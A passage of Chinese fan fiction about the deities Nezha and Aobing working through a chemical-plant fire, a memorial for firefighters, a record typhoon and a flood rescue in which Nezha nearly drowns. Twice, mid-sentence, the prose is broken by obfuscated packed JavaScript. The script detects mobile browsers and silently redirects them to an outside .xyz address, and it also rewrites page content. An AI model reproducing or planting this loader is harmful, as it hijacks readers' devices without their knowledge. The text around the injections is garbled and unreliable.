“啊——!”急诊室门口忽然妖风大作,把玻璃门吹得乓乓响,吓跑了在附近歇脚的病患。 云层味道难闻的很,混杂着焦味和不知道什么化学品燃烧的味道,青龙在黑云里被熏得双眼发疼,眨眨眼就有被熏出来的泪被挤出眼眶。 敖丙回忆着方位,猛一扭身子,火速飞去,远远就瞧着块高耸的雨云,正往大地猛烈浇灌着呢。龙身卷着云块,又使了些神力,几次迂回可算把这云给引去了西方,等到运得足够远了,敖丙才放开牵着云的尾巴,估算着风向风速,再三确认无误后才往医院飞回去。 长长的的青龙在上空吁出一口气:“应该……不会有雨云了吧。”如果还有,那他就继续飞,继续牵走雨云,尽一份力是一份力。 气象局众人看着这气象图里莫名其妙多了股来历不明的气流,它卷着云团往另一个地方去,势如破竹,完美的避开了灾情中心,这情况大数据模型算不出来,连老资历的气象员也一脸疑惑——反常,但很幸运。 一些人想,还好开年的时候去拜了龙王庙,说不定冥冥之中自有定数。 老局长看着云图,双手合十喃喃道:“感谢上天保佑,感谢老天保佑!”这场景,在他刚工作的时候也遇到过,记忆早就模糊不清了,依稀记得天有大旱而生暴雨云团,那云后来生生被打散了,化作毛毛雨落向地面——天大旱,最怕就是猛来暴雨,易引发洪涝。 如今这情况就好似那日再现,不是科学能推断的力量又一次出现了,又救了不知多少生灵。 “……”敖丙化回人身,发现,衣服被他化龙时给撕烂了,如今全身赤/裸/着,得亏他反应快,火速拾起几片落叶化作衣裳遮着了。 敖丙踩着虚浮的步子找回了哪吒的病床,还没等人在床前站稳就差点一头栽下去,得亏哪吒眼疾手快走前几步把摇摇欲坠的敖丙接住了,幸好输液管够长,要不然哪吒手背还得再血淋淋一次。 “敖丙?!你怎么样了”哪吒把人托着往自己病床上放,手烧伤了使不上力,只能让敖丙靠在自己身上。他把人从头到尾细细看了个遍,没事,可小龙脸色苍白,唇血色全无。哪吒便开了神识扫了,五脏六腑也是没事。 “没事……”敖丙调整了一下姿势,让自己靠得舒服点,“行云布雨也耗神耗力,那云、风都大,累了点,没事。”可这次着实累坏了,往常都没这么累过的,敖丙觉得是自己这阵子搞天气预报加班过多,伤神了。 小龙拍着哪吒的腿,困得睁不开眼,靠着肩膀嗫嚅道:“化工厂情况怎么样了?” 哪吒一眨不眨地观察着小龙,嗯,气息平稳,应只是累着了:“还在扑救,但是情况好点了。” 电视屏幕上,消防员建起了隔离带,阻隔了大火往隔壁化学区蔓延的路,若是不出意外,慢慢把最初燃着的厂房扑灭就好。一切都在朝好的方向发展。 只是那些被埋葬的人……永远回不来了…… 小龙倚靠在哪吒肩上,得了个安稳答复,他不怕哪吒会为了让他安心而骗他,情势确确实实在变好了。他勾勾嘴角,沉沉睡去了,下巴无意识的张开,淌了些涎水出来,给哪吒看到轻柔笑了笑,单手托着敖丙侧躺到床上了。 哪吒忙活了一天也累了,四肢百骸酸痛无比,两个人就挤在窄窄的病床上凑合凑合。 急诊室里仍然嘈杂,灯火通明,哪吒睡不熟,发现小龙也皱着眉头,他便开了个降音障,又偷偷拿了随身带的手帕化作长毛巾,搭在二人眼上。小龙不一会就睡得熟了,哪吒悄悄把手腕搭在小龙腰间,一边祈祷百姓平安,一边渐渐睡着了。 敖丙是被刺鼻的消毒味弄醒的,小龙经过一夜修整,现睁着迷蒙的眼睛,把自己的长发从哪吒手臂下拔出来,轻轻拍了拍小莲藕的脸,柔声说到:“我去附近买些早饭回来。” 哪吒没醒,哼哼着:“你自己出去吧。”他昨晚睡在外面,把小龙弄在靠墙那边,这样不容易被过往来人影响到睡眠。 敖丙长腿一跨下了床——饿透了,火速去买了套衣服又打包了几个盒饭,回到医院时哪吒正全神贯注看着新闻。 “火灭了。”哪吒接过敖丙递来的豆浆,一嗦就没了大半杯,而后猛地掰开筷子,也没摩擦着把木刺去掉就戳进抄手里囫囵吞下。 “灭了就好……”敖丙也饿,但不至于连吃相都不管不顾了,细细嗦着面,这面被他用法术保温了,如今还烫嘴,他一边吹凉一边问,“有没有什么结果通报?” 哪吒长叹一口气:“伤亡人数还在清点,事故原因还在调查。” 敖丙点点头,理智告诉他不要问,却还是很想知道那些有过一面之缘的朋友情况如何:“你队里其他人……” 哪吒眸子垂下,睫毛遮盖住了眼神,晦朔不明,他摇摇头,不回答。 “走吧,得去清创了。”哪吒等敖丙吃完早饭后起身了,敖丙便跟着去,结果被护士挡在门外。 “清创过程可能会引起心理不适,家属建议进行回避。” “那边有家属观察室。”哪吒遥遥一指。 纱布被揭开,露出血肉模糊的手臂,哪吒竟丝毫不见波澜,静静注视着血肉被冲洗,剪下,似乎那不是自己的手似的。混着炭屑的的棕褐色液体源源不断流向凹槽,敖丙不忍直视,却又折磨着自己把画面尽数看下。 “以后……如果我也能帮他处理伤口就好了……”敖丙想着,哪吒的工作总是很辛苦,又容易受伤,除去家里不具备的无菌条件,若是他也能行医处理,哪吒或许不用老是家里-医院-上班地儿三头跑,多累啊。 他说到做到,后来找天庭的理事处报了个医护班,抽空去学着。后面哪吒伤好得差不多了,敖丙就自行在家给他换敷料。 那日敖丙正小心翼翼把粘连的敷料撕下,就发现什么东西像钻石一样闪着落下来——他瞬间就意识到了,那是哪吒在哭。 “怎么了……是不是弄疼你了?”敖丙紧抿着唇,不敢动作了。 “没事,你继续,不疼。”哪吒拍拍敖丙手背,任着泪水滴落到裤子上,“我就是……情绪憋太久了,难受。”如果此时烧伤的地方还疼着就好了,至少肉/体的痛能把内心的担子减轻,可惜敖丙手势了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15654315|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得,连神力都不需要使,皮肉是一点痛没有的。 敖丙知道他难过着,昨日新闻出来了,死者32人,25个是牺牲的消防员,伤员过百。责任人瞒报人被拘留接受调查。他不知道死者里有多少曾和哪吒有过交集,现在任何安慰的话语都过于苍白了,他自知嘴笨,只能在一片沉默里默默给哪吒换上新药。他没驱使神力去麻醉痛觉,或是加速伤口愈合,哪吒不让。 换完药,敖丙做到沙发上,把哪吒拥在怀里,二人好似个连体婴儿,互相抱着过了不知多久才肯分开。 “下周是追悼会……你,能不能陪我一起去?” 敖丙把哪吒碎发撩到耳后别着,在眉心吻了一下:“陪,我会一直陪你。” 近来冷空气稳定输出,本应天天晴天的,追悼会那日却是阴雨连绵,却不到要打伞的地步,渗人的寒意直直钻进骨头缝里,把人冻得生疼。分明不是重阳节清明节,殡仪馆却是来了许多人,或老或少,或男或女;手里都拿着束菊花、百合亦或是白玫瑰;也有着蓝色黄色红色的外卖员携着全国各地的哀思,将花束摆了满地。 哪吒敖丙互相挽着对方的手,一同进了内堂,是时候该分开了。敖丙把人深深抱了一下,在耳边轻言节哀,又用力拍拍哪吒背脊。哪吒只抱着他,不说话,但是敖丙听见了小莲藕哽咽的声音,听得自己也难受。敖丙又帮着哪吒整了整深蓝色的制服,确认无误后才轻轻点头致意,转身往亲友席走去。 那日的男生正巧就站在敖丙身边,敖丙偷偷打量了一下,小男生双眼通红着,手里攒着纸巾团,一直擦着泪,还不时吸吸鼻子,却努力压着声音,不想扰了这肃穆的氛围。他好像用完一包纸巾了,敖丙便往自己亲手做的黑西装内袋探去,刚摸到一包餐巾纸,隔壁那位不知从哪又掏出来一包纸来。 敖丙便往消防员那边望去,隔得不远,哪吒那队的人都站在前排,那男生的男朋友就站在第一排,右手拿着束白菊花举在胸前,左手的袖子却空荡荡的。一部分消防员是缠着绷带来的,有的淌着热泪,牙把唇咬得发白,努力压抑着哭声,脖子上的青筋见证着哀伤与痛苦。 追悼仪式开始了,敖丙跟着他人绕行一周,这还是他第一次参加葬礼。听说人间的葬礼最后会给逝者化上妆,让遗容好看些,只是现在只剩下一套套叠得方方正正的消防常服,上面端端正正摆着大檐帽。 人在那场大火里什么都没留下,烧成了灰。 一圈很慢,却也很快,很快就要看不见那些衣冠冢了,敖丙扭着头回望那处。 “不要回头,要不然逝者就眷恋人间了。”司仪看见有几个人回了头,劝道。 敖丙随着众人在前面放下菊花,三鞠躬,他鞠得用力,盯着白玉似的瓷砖,心里百般惋惜感叹。挺起身时,哪吒看着那一幅幅黑白的照片,个个都笑得可爱、平和,注视着生前的亲朋好友,几张脸庞熟得很,是他们队的好兄弟;也有些只有一面之缘的,一位是那位腹部被贯穿的同事,还有一位是那个被他一推、躲过横梁砸下的消防员。 人群中发出惊响,和一位女性凄厉的哭声。敖丙循声望去,那是个孕妇,肚子已经很大了,人们七手八脚把人扶起,安慰着,敖丙这才看清楚那女人是谁——是小王的老婆,哭得上气不接下气。 哪吒不忍地移开视线,两位神仙不约而同往她身上注入神力安胎,怕伤了元气。虽然那日她似乎对小王不满,但二人眼里的爱是骗不过人的。 出来时,雨反倒是下得大了。哪吒撑起黑伞,把两人自雨幕里隔开。 “听说葬礼那天若是下雨,是他们知道自己走了,然后再回来看生前的亲朋好友最后一眼”哪吒看着雨打到地上,开了花,活像那摆了满地的百合。 “希望……他们在那边过得快乐,若有来生,再和心爱之人在一起……”敖丙把手伸了出去,任由接近冰点的雨水落在手心,冷得骨头生疼。这世上的水都会流向东海,他去感受着掌心那一汪冰水,酸涩、哀愁、不甘、留恋、不舍交杂着,融成一团揪心的感觉,隔着皮肤渗入他的五脏六腑里。 “你接下来想去哪?”敖丙问,才发现哪吒把伞都倾向了自己这边,他的左肩衣服落下晶莹点点的,不禁伸手一起把住伞柄。 “去逛逛街吧,人间好像,说来了墓园后要去有人气的地方逛逛,扫走阴气。” “阴气重吗?”敖丙不觉得,“……也罢,咱们去散散心也好。” 殡仪馆的车载着英灵们去烈士陵园,车开得慢,人们缓缓跟着,送英雄们最后一程。黑色的车在前头开着,乌泱泱的人群拿着花在后面跟着,敖丙挽着哪吒的手混在蓝色军装里也不知走了多久,就到了。阳光一下子就穿透了积云,洒向人间,驱走隆冬冷雨的寒意。 只能送到这了。 两人在挺拔的松柏树前再次鞠躬,才一齐离开了。 哪吒回了头,天气已然放了晴,他抬头,发现那白云有点像人影。 “再见了,英雄们。”哪吒轻声告别,回头,一下子就撞到了几步阶梯下敖丙那温柔似水的水青眸里。 松柏比直长青而高耸入云,英灵永在,看着人世一次又一次从冬天走到夏天。 初夏,敖丙买了一大堆雪糕把冰柜塞得满满当当,现在正盘着腿做沙发上看手机,雪糕化了些,流到手腕上。 哪吒一回头就看见小龙伸出舌头去舔掉融化的奶液,我靠,好可爱。 小龙注意到哪吒的视线,回头莞尔一笑,把雪糕朝哪吒递了过去:“想吃啊?来一口。” 哪吒过去,目标却不是雪条,他一手捧起小龙的脸颊,吻了上去,坏笑道:“好啊,来一口。” 小龙依依不舍拽着小莲藕领口在亲了一会儿才放人走。 敖丙一边嚼着雪糕,一边喃喃祈祷:“今年夏天一定要安分点啊~” 初夏的风带着微微燥热,直到把大地吹得快要干涸,当发布高温预警的时候,敖丙加入了民间救援队,没想到很快就迎来了第一次上阵。 那是一个水台风,破纪录的水台风。 36.全球风王 那年冬天极度的少雨,带着作物歉收,入了新的一年,却又异常的暖和,哪吒他们家连暖气都没怎么开过。 敖丙穿着珊瑚绒睡衣蜷在沙发上,双手端着杯热可可,里面还泡了几颗棉花糖。小龙双手捧着陶瓷杯暖手,一边吹开甜饮表面的热气,再小嘬一口。可是有棉花糖不听话,小龙就拿唇去扒拉过来,但是不够长,又换舌头去够那块不愿进嘴的棉花糖,一番斗争后小龙选择——感情深一口闷,咕噜噜地把浮上面的棉花一饮而尽。 哪吒就看着敖丙一下子吞了一大口热巧克力,眼泪都被烫得挤了出来,还因为一下子吞了太多现在正一口口艰难地分批喝下去,难受得眉头都皱了。 哪吒哭笑不得端着自己那杯热可可坐到旁边,眸子含着笑意看小龙惹的小乌龙,本想把人搂到怀里,结果被珊瑚绒电得噼里啪啦,悻悻地收了手:“今年冬天好热啊。” 敖丙好不容易把气顺开了:“是啊,近几年气象越来越反常了。年年都有一大堆破纪录的气象,希望……一切平安吧。” 可惜,事与愿违。 “这也太反常了,5月、6月,一个台风胚胎都没有。”气象局,气象员们正讨论着。 “这海水温度也太高了。”一人看着气象图道,现在海域的温度确实过高。敖丙也知晓此事,一些后生正在群里说今年东海怎么这么热——手机设了法术,深海可用。 “要糟糕啊感觉……”敖丙想。 “话说,这样的话初始台风岂不是能大量吸取能量,极有可能生成超强台风?”敖丙说出了自己的推断。 “从台风生成原理来看,确实如此。”老资历的主任说,“今年可能有场硬仗要打,各位要做好最糟糕的准备。” 敖丙深吸一口气,他知道,一场恶战在所难免。东海的龙望向窗边,天气炎热,天空湛蓝无比,火辣辣的太阳直直射在地球上,万里无云,却又像预兆着什么。 三日后,7月4日下午,西北太平洋深处,生成台风胚胎,编号01W号。 7月5日,胚胎强度显著增强,命名为1号台风夏浪Halong。 7月7日,12级台风。 7月8日,升级为强台风。 7月10日,以15级强台风级别登陆菲律宾群岛,造成极大规模人员伤亡及财产损失,灾情中心一度中断气象数据回传,“夏浪”横扫群岛后,强度锐减。 敖丙希望这台风就此消亡,虽然知道这和天方夜谭一样。大气环流形式不妙,有助于台风继续加强,而且南海海温高,是极好的台风生长温床,通往大陆的前路又畅通无阻。 7月12日,“夏浪”在南海打转两天,把大海能量吸了个七七八八,升级为超强台风级别。 气象局每个人的脸色有如大敌将至——AI气象测得的台风路径,8成概率登陆我国。 气象图上,“夏浪”拥有一个巨大的云系为它供能——云系直径覆盖近千公里。香港特别行政区派出飞机去探测风眼强度——17级。 敖丙下了班都常掏出手机查这台风的路径,太可怕了。 “ ‘夏浪’很厉害吗?”哪吒给敖丙切好水果,天气热,两个人胃口都不太好,这几日消防局一直在进行抗洪培训,把“夏浪”当成巨敌来对待,他不了解气象,觉得这未免太大动干戈了——现在社媒一刷全是追踪这个台风的报道。 敖丙一口口慢慢咬着荔枝,甜透了,清甜的汁水差点溅到眼里,却吃得不开心,思考着怎么向哪吒解释这个台风的强度。 “简单来说就是……它很可能是登陆我国里,最强的那个台风,而且它的雨带太大了,辐射范围差不多有半个我国。” “可能带来的是破纪录的降水和大风……每一次破纪录,或者说超强台风的登陆,带来的都是极大的应急压力和极大的财产损失,可能会造成人员伤亡。” 哪吒似懂非懂,但他能感受到小龙那快要凝成实体的忧虑。 7月12日午夜,台风进行第二次眼壁置换。气象局的工作人员们不时就抬头望向大屏,看那眼壁置换是否能成功,若是失败那是再好不过,强度锐减,带来的将是小一点的抗灾压力。 13日凌晨,今夜敖丙当班。将近天光之时,“夏浪”眼壁置换成功了,风眼变得更大、更圆、更干净——那是教科书一般的台风眼。敖丙一个人站在大屏幕前,看着那不知疲倦疯狂转着的台风,眼瞳都震颤着,不知是什么情绪猛地就上来了,染得眼眶发酸,水汽模糊了气象图。渐渐也有同事一样走了过来,看着卫星传回的高清图像。 “全球风王……” “正面袭击我们最繁华的城市集群……” “还是巅峰的强度。” 气象员们发出着感叹,前路未卜,只希望灾情能轻些、再轻些。 “夏浪”再一次加强——成为有史以来的全球级别的风王,非那种生于海里死于海里的观赏性台风,是真真切切来索命的。而且云系水汽丰富,是一个水台风、坏台风。 全国各地只要在云系覆盖范围、有登陆可能性的省份,气象局疯了似的往市民手机里发预警短信、向相关部门通报,以最高规格来抗台,不管哪个社媒一开,尽是铺天盖地的“夏浪”台风预警和避险指南。 在外船只全部召回,临海城市筑起一道道防线。 7月13日早上,进入我国24H警戒线。登陆省份基本确定,全部发布三停一休通知,香港挂出黑色风球预警。气象局的人们看着那可怕的巨大台风和辐射云系,大气都不敢喘,密切关注着一切回传数据。 超市被“洗劫一空”,住得矮的在门口堆起沙包,住得高的都把窗户贴上胶带。 在自然力量面前,人类太渺小、太无力了。 龙族的群里也在热切讨论着这台风。 “吓龙,这台风把咱们一堆口粮全卷上天了。” “我活了几百年了,这么大的台风还是第一次见。” “我前些日子不信邪,去海面看了看,差点没被刮飞了。” “我这边已经严阵以待了,希望一切安好/合十。”这是一位在正面登陆预测城市工作的气象龙。 “在降雨带的也要做好准备啊。各位注意安全。”敖丙发了言,平时他不怎么在这千龙群发言,这是闲聊群,天天叽叽喳喳的。隔壁那个事务群就……父王天天发言。 “敖三公子!您那边情况如何?” “我在北侧降雨带,总感觉会迎来破纪录的降雨量。”想到这里,他忽然想起来还没提醒哪吒注意安全。 敖丙立刻切换聊天窗,给哪吒发微信:“我们市在台风北侧的危险半圆,大概率有超强降雨,你们应该是要24h待命了?” “对,全员待命,你呢?停工吗?” “都是应急部门,和你们一样,随时待命。” 这段时间他们都忙疯了,视频都凑不到一块打,只能隔着上线的时差聊聊天。 7月21日,“夏浪”以巅峰强度和摧拉枯朽的姿态强势登陆。 登陆的地方刮起有史以来最强大风,玻璃“呜呜”地叫着,甚至被强风击碎。窗外已看不见天地,恍若混沌初始,接天连地的灰蒙蒙一片,雨水如利刃般刮着,像冰雹一样砸着,伴着什么东西落下的巨响,大树就算被剃成三毛也依旧被连根拔起,汽车的报警声不绝于耳。强风与雨,连绵不绝、连绵不绝。 而台风北侧,雷达回波红得发紫——那是一波又一波的强降雨。天幕好像撕裂了般往大地倒水,连带着如泣如诉的风声,将敖丙的城市浇灌。 “发布最高级别的降雨预警!” “交通停没停!” “快劝地铁部门停运,市民就近避雨!呼吁不要出门!” 敖丙去洗手间洗把脸醒醒神,今天一直皱着眉头。这厕所的窗坏了,外面的雨便钻了进来,敖丙神差鬼使地伸出右手去触碰那雨水,用心去感受着世间的水,忽而拔腿就跑向办公处。 他看着大屏幕上的雨带,锁眉沉思,暗道:“会不会有列车效应的出现?” “啊?应该没有吧,风向计算没有列车回波。”一个职级比敖丙小一点的人看了看,答道。 “确实没有这个计算……”敖丙犯了难,他的预感和气象测算相悖了,“我关注一下这个可能性。” 两小时后,风切变发生,敖丙的城市即将迎来一波波的强降雨——列车回波来了。 内陆城市,没有那么好的防洪排水系统,现在路上大多数都积了水,郊区就更不好说了。 这破天荒的大雨持续了四小时不停,小时降雨记录已逼近历史前五数据。 “敖哥,你去歇着,该我换班了。”同事走来拍拍敖丙的肩膀,把连续工作了16小时的敬业标兵敖哥好不容易请走了。 正当敖丙揉着眼睛离座时,有人撤了把嗓子: “楚若县城的水库决堤了!” 实时影响传到大屏幕上,水库墙正在瓦解,而航拍显示,上游的群山因为长时间强降雨,已有泥石流和山体滑坡发生,那山沟的河道混杂着泥沙石块树木,正往下游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672106|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席卷而去。 “人员疏散了吗?” “三小时前就在紧急疏散了!但是下游县城人口太多……” 敖丙听得心里一紧,呼吸都快了几分——山洪、洪水决堤,是极为可怕的,自来水到涨满,可能只需要几分钟的时间,逃生窗口太短了,即使早就开始疏散,也搬不了这数十万记的常住人口。 “主任,我这边想告个假,我去楚若县救人!” “那是消防员的活儿,你能帮上什么忙?”主任何尝不知洪水凶险,他不想让自己暗定的接班人涉险。 “我是救援队的成员!”敖丙把手机递给主任看,附近的民间救援队在招人了,敖丙已然把自己报了上去,“你看,这是我的救援证件。” 敖丙又掏出好几个证件:高级救援员职业资格证、急救证书和特种作业证。考证时,哪吒就是他的一对一专业教练。头像那栏,敖丙坚定的望着镜头,嘴角微勾,素来温润的人却显得无比坚毅难折,似能破开这世间万难,而眼神又略带着悲悯,把人都带了几分神性。 主任看着那双炽热赤诚的水青眸子,好像又看见了当年热血的自己,他叹气摇头:“注意安全。” 准了。 敖丙火速寻了个偏僻角落,化作龙飞向楚若县,这天气太残暴了,饶他是龙都被这狂烈的雨水迷了眼。 待到时,洪水已漫了一整个城镇,市民爬上了低矮的楼顶避水等待救援。他火速找到救援队,一翻身上了橡皮艇,开着船四处寻人上船,搬到高地。 房屋大多被淹没了,黄浊的水充盈了视野,市民们带着必要的东西站在房顶上吆喝着——得亏这是夏天,温度高,不容易失温,而且时代发展了,预警时间大幅提前,可以提前部署救援,极大的减少人员伤亡的可能性。水速很快,裹挟着汽车、大树,还有自上游山体卷来的泥沙砖块,危机四伏。 敖丙一边把一个小孩抱到船上,一边想,那年哪吒气得把他龙筋拔了也不是不能理解了——换他看见这大水是妖邪干的,他高低也要把那孽畜打个半死。 想曹操曹操到,迎面开来一搜冲锋艇——支援的正规军来了,为首的人还分外眼熟,现正朝着他招手。 “喂——!”哪吒一边朝敖丙打招呼,一边把一条落水狗捞起放到船上,那船迅速和敖丙的船齐头并进了,破开肮脏不堪的洪水,踏着浪,一同往暂时安置处开去。 安顿好刚救上来的市民,敖丙就跑去水边,直直把手伸到浊水里。 哪吒看见了赶忙跑去他身边,他倒不怕敖丙落水,他是龙,洪水海啸也淹不死。 浊水混着泥沙,带着砂砾摩擦着触觉最敏感的指尖手心,敖丙闭着眼,努力去感应这驯不服的洪水,他知道哪吒就在他身旁。 “西边,有崩的迹象。”敖丙侧过身子,在哪吒耳边轻言。 “我努力带队过去。你呢?” “我努力过去,先按规章行事。” 正当哪吒欲先行一步之时,敖丙突然拉着他手腕说:“洪水无情,你千万要小心。” 小龙的爪子格外有力地钳着哪吒的小臂,似乎怕一个没抓紧人就溜走了般。 “嗯。”哪吒用力点点头,又轻拍着小龙手背安抚,“你也注意安……全?”哪吒不清楚这洪水是否会伤到海龙,还是得叮嘱下。 “不用担心我,海啸了我都不会有事儿。”敖丙倒清楚哪吒欲言又止是为何。 “来人!快来人!”有人扛着个溺水者过来了,两位神仙拔腿就往那边跑去。 哪吒心有灵犀的把敖丙用身躯挡住,在哪吒的掩护下,敖丙一边做着心肺复苏,一边用法术催水出体。 溺水者吐出口水,在敖丙不间断的心肺复苏下,心脏恢复跳动,意识转醒。等到敖丙抬头把汗擦走,才发现哪吒那队消防员已经走到不知道哪去了。 “你是不是也有救援艇操作证?”他看着个面熟的“反光衣”,便直抓着人问到。 “敖哥!”那人认出他了,两眼放光,惊喜的很,“忘了?我,上次和你在大学做培训的小吴啊!那证我有啊,刚开完。” “很好,有证”敖丙记不清去了多少大学授课了,水青色眸子染上焦急,语速极快,“和我去西边一趟可以吗?那边的水文不太好。” 那话其实是漏洞百出的,没有任何证据告诉在场的人哪边的受灾情况如何,可小吴就是信了,似乎那话里带着什么魔力,能让人百分百的信赖。 “走啊!”他们又拉上一个救援队的人,冲锋艇破开激流,往西边疾驰而去。 37.哪吒为救人落水,命悬一线 *包含溺水描写 慎入* 西边真的如敖丙预言,洪水来得更猛,那边正巧是洼地,又离山不远,水便自四面八方汇聚而去,水流湍急,饶是大冲锋艇,在大水里都把人颠得天旋地转。 大水已经没过房顶了,且以肉眼可见的速度上涨着,只剩下一些建得高的自建房在高速的浊水下做着孤岛,太多人来不及撤走了,有的扒在电线杆上,有的抓着同胞抛来的绳索,抵抗着水流往高处抓去,可还有更多的,随着奔涌的水漂到远方。 “船靠不过去!不行她抓不住绳子的!水流太急了!”消防员们正在营救一个抱着摇摇欲坠的大树的小女孩,可是船只靠不过去,小孩子被吓得连话都说不出,像树袋熊一样紧紧抱着大树求生,亮晶晶的眼睛看着消防员们商量怎么营救她。 哪吒一手摁下要跳船救人的年轻同事,那人疑惑望向队长, 却只见队长摇摇头。 哪吒大声说:“我下水。做好营救准备!”而后果断把两条救援绳挂在腰上,一下抓起巨大的泡沫泳圈,橙红的身影果决跳入黄浊的水中,那松垮大盘的绳子一下子刷啦啦地就被带入水中,一下子扯直了。 计算好水流流速和流向,哪吒顺着洪流漂去,眼疾手快地扒拉住大树,一手托起快要虚脱的小孩,一手把泡沫圈给小孩套上,语气坚定而有力:“套好,抓稳,别慌,咱们一起去船上。” 小女孩哆嗦着,点头应着。哪吒在后面卯住劲游,推着游泳圈往冲锋艇去,那边的队友奋力扯着绳子,把人往船上拉。 浊水灌进口腔,携带着泥沙污物,哪吒不知胃里都莫名其妙装了多少污水了,眼睛也是,被污水溅得发红,但顾不上那么多,他满脑子都是救人。一手托着小孩大腿往船上怼,那边七手八脚抓着小孩的手臂往船上扯。一片忙活后终于救上来第6位群众。 伴随一声巨响,身后的大树被洪水拔起,往下流奔去,哪吒还没来得及庆幸幸好把人救下来了,就觉得腰间被猛地一拽——那树杈不知何时缠上了绳子,如今正拖着哪吒和船只往下游跑。 哪吒一手紧抱着泡沫圈,一手去扯绳子,看看能不能把挂上的树枝扯断——扯不断,这树枝还挺有力的。它拖着哪吒和船一起玩死/亡漂流,颇有一种一亡俱亡的悲壮感。 “快!快把吒哥扯回来!”冲锋艇马达开到最大,但怎么可能抵得住洪流,转眼间,船被拉出几百米远。 来到水深处,那大树猛的往下一沉,拽得哪吒整个人没入水中,那巨力太过突然,又许是都沾了水,太滑,哪吒没抓住泡沫圈,橙色的游泳圈霎时被激流冲走得不见踪影了。 那冲锋艇船头也打了个趔趄,猛地激起黄浊的浪,把船上的人泼得狼狈。 “所有人抓稳扶手!” 视野里,洪水两侧的群山飞速而过,耳畔只有似在瀑布般听见的浪声、水声。洪水无情,吞没了所过之处的土屋与树林,水面上还能看见没沉的车,和顽强不倒的电线杆——这水太深了,从电线杆的水位来看,已有7、8米高。 “队长!!”那绳索被绷地老紧,不住摇晃着,像人命那样易断。可水面许久找不到人影。 黄浊的水里,什么都看不清,那洪水带着不知些什么东西,直直往哪吒身上撞。那树还在拽着他沉向水底。 “不能再这么被拽着了。”哪吒立刻开了神识,一扫,那冲锋艇果然被扯得快要翻船了,从事发到现在不过数十秒,确实来不及反应,更何况他队友还不想放弃救他,但情况不容得队友在这里儿女情长了。 哪吒在翻涌的水底下摸索着腰上的环扣,眼睛根本睁不开,洪水里夹杂着树叶石子还有杂物,更何况水里能见度为零。md,摸不到,哪吒被撞到在水里翻腾,跟孙大圣带他玩筋斗云似的。 “快解开啊!”再解不开,上面的船就翻了,他可不想把其他人拖下水。他便去摸自己随身带的应急匕首,结果也摸不到。耳边尽是水声,视野黑暗,自己则像洗衣机里面的衣服一样被滚来滚去。 别无他法了。 浊水里竟亮起火光——哪吒在赌自己的火能不能在水下燃起,毕竟敖丙也控不了这里的水,那说不定他的神火也不能用。幸好,队友和灾民命不该绝于此。火燃断了那救援绳,腰间的力猛的一松,冲锋艇船头失了拖拽的力,猛地翘起,又重重落下,幸好所有人都紧紧扒着把手,没被甩出船外。 “绳子怎么样了?” 一人急急忙忙去扯,那绳索了无牵挂,很快就被无力地扯上船了:“绳子……断了。” 两截断掉的绳头被抓在颤抖的手心,断裂的那头是诡异的焦黑色,但手感却湿哒哒的。 绳子那头的人自行选择了燃点绳索,把生的希望留给船上的人们。虽然在水下点火还是有点超脱认知了。 “队长——!”队员扒在船沿呼唤,但只有洪水滔滔无情的回应。 浊浪翻滚着,船上一片死寂,可周围的浪还雀跃着,一人站起发号施令,先去救其他人。吞天噬地的洪水里,小白船载着十几人,继续去寻找生还者。 “对不起……都是我的错……”刚刚被救下来的小孩子明显被吓哭了,她嚎哭着,却无能为力。她害死了一个消防员。 一个消防员过去把小孩抱着,这小孩约摸也就五六岁的年纪,怕是还没见过生死:“别哭……别哭……”他努力安抚着小孩子,想说些安慰的话,却又想不出来,只会把小孩抱紧,“他肯定也不希望你这样想的……他会很高兴你活下来的……” 嘴上让小孩别哭,自己倒是哭了。哪吒,是他在队里的好前辈,不怎么骂人,总是笑嘻嘻的,从来不生气,除非有人犯低级错误差点害死自己害死队友,他才大发雷霆。李队谆谆教诲,总把他们护在身后,带他们踏过凶险火场的熊熊烈焰,踩过地震后废墟砖石,抓住过他的手腕,把他从断楼边缘拉上。 可是……那个坚实挺拔的背影,永远不会回来了…… 冲锋艇劈开浊浪,可哀伤如影随形。 哪吒烧断船那头的绳索后就马不停蹄把树那端的也烧断了。半分钟过去,他终于不用被托着拽着。他被激流裹着,冲向下游。努力想游向水面,双腿拼命踩着水,但挡不住暗流涌动,卷得他东倒西歪——根本分不清东南西北上下左右,瞎游。 如此不过是浪费氧气体力罢了,哪吒便努力凝起层护罩罩起自己,又解下混天绫,一端系住手腕,希望它能分辨出天地,把自己带出这不知几层楼深的洪水。 结果那混天绫也分不出方向,扯着手腕游了一会儿后就打了焉儿的自己给绕回来了。 “该死……”哪吒这次也没法子了,只能胡乱地靠直觉游。 人身果然不如本体好用,结果没身死前无法脱离肉躯,要不然中坛元帅也不用在水里苦苦挣扎。肉身的屏息时间太短了,划拉没一会儿哪吒就知道自己快没气了。那水里不知道冲下来什么东西,一下子撞到哪吒背上,力道太大。 “咕噜噜……”他被撞得吐出一口气,又赶忙憋住——本就没多少气了,还被撞出去不少,这下是真的死定了。 哪吒被迫随波逐流着,四肢渐渐传来酥麻的感觉,身躯似乎坠入北冰洋般变冷,他知道这是人体开始缺氧反应了。 “队友们……应该安全了吧……” 身子不受控的抽动着,尽管哪吒尽力紧闭着声门,但随着一次史无前例的挣扎,一串气泡没入洪流中,取而代之的是混着泥沙的浊水灌入鼻腔口腔,钻入喉咙里去。 